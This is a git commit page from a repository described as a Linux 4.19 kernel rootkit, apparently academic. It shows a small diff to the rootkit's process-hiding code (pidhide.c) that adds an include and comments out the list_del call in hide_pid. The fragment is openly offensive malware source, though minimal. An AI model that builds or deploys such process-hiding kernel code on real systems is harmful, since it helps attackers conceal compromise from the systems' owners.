linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit ddc53712a566f45cfc6241e3ee8944242822157b
parent 0d33f3264f19bd725770f28e544d5b7f110cd2e0
Author: deurzen <m.deurzen@tum.de>
Date:   Mon, 25 Jan 2021 03:13:38 +0100

fixes issue

Diffstat:
Mrootkit/src/pidhide.c | 3++-
1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/rootkit/src/pidhide.c b/rootkit/src/pidhide.c @@ -4,6 +4,7 @@ #include <linux/proc_fs.h> #include <linux/sched/task.h> +#include "common.h" #include "hook.h" #include "pidhide.h" @@ -86,7 +87,7 @@ hide_pid(pid_t pid) list_for_each_safe(pos, q, &mylist.tasks){ tmp= list_entry(pos, struct task_struct, tasks); if (((struct task_struct *)pos) == ((struct task_struct *)ts)) { - list_del(pos); + /* list_del(pos); */ DEBUG_INFO("FOUND\n"); } }